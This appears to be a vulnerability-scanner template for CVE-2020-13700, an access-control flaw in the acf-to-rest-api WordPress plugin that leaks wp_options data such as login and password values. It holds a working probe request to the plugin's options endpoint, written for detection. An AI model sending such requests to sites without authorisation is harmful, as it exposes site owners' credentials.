id: CVE-2020-13700
info:
name: acf-to-rest-api wordpress plugin IDOR
author: pikpikcu
severity: high
reference: https://gist.github.com/mariuszpoplwski/4fbaab7f271bea99c733e3f2a4bafbb5
description: |
An issue was discovered in the acf-to-rest-api plugin through 3.1.0 for WordPress.
It allows an insecure direct object reference via permalinks manipulation, as demonstrated by a
wp-json/acf/v3/options/ request that reads sensitive information in the wp_options table, such as the login and pass values.
tags: cve,cve2020,wordpress,plugin
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.50
cve-id: CVE-2020-13700
cwe-id: CWE-639
requests:
- method: GET
path:
- '{{BaseURL}}/wp-json/acf/v3/options/a?id=active&field=plugins'
matchers-condition: and
matchers:
- type: word
words:
- 'Content-Type: application/json'
part: header
- 'acf-to-rest-api\/class-acf-to-rest-api.php'
part: body
condition: and
- type: status
status:
- 200